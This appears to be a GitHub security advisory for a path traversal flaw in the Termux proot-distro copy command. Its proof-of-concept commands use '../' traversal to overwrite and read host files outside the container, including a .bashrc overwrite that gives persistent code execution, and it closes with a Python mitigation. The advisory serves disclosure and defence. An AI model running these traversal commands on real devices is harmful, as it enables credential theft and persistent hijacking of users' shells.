{"schema_version":"1.9.0","id":"GHSA-mfr4-mq8w-vmg6","published":"2026-07-17T20:25:37Z","modified":"2026-07-17T20:30:18.046384393Z","summary":"PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs","details":"
proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfshttps://github.com/termux/proot-distro
\nMaintainer: @sylirre
\ncopyAll tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The .bashrc overwritten\nduring testing was immediately restored.
rm -rf ~/poc\nmkdir -p ~/poc\n\necho \"ORIGINAL\" > ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" > ~/poc/evil.txt\n\nproot-distro copy \\\n ~/poc/evil.txt \\\n \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt\"\n\nObserved output:
\n[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\nVerification:
\ncat ~/poc/target.txt\n→ PWNED_BY_PROOT_DISTRO\n\nThis confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.
\necho \"TOP_SECRET\" > ~/poc/secret.txt\n\nproot-distro copy \\\n \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n ~/poc/read_result.txt\n\nObserved output:
\n[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\nVerification:
\ncat ~/poc/read_result.txt\n→ TOP_SECRET\n\nThis confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.
\n.bashrc overwriteprintf 'echo VULN_TRIGGERED > ~/poc/proof.txt\\n' > ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc\"\n\nObserved output:
\n[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'\n[*] Destination: '/data/data/com.termux/files/home/.bashrc'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n\nVerification before restart:
\ncat ~/.bashrc\n→\necho VULN_TRIGGERED > ~/poc/proof.txt\n\nAfter closing and reopening Termux, the new shell sourced .bashrc and\nexecuted the payload automatically:
cat ~/poc/proof.txt\n→ VULN_TRIGGERED\n\nThis confirms that attacker-controlled content written into .bashrc executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.
The most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls proot-distro copy with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.
On a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to .bashrc allows persistent code execution triggered on next login.
After resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:
\nimport os\n\ndef safe_resolve(rootfs, container_path):\n candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))\n root = os.path.realpath(rootfs)\n if candidate != root and not candidate.startswith(root + os.sep):\n raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n return candidate\n\nThis check must be applied to both the source and destination paths in the\ncopy subcommand.
.bashrc overwritten during testing was immediately restored after\nverification.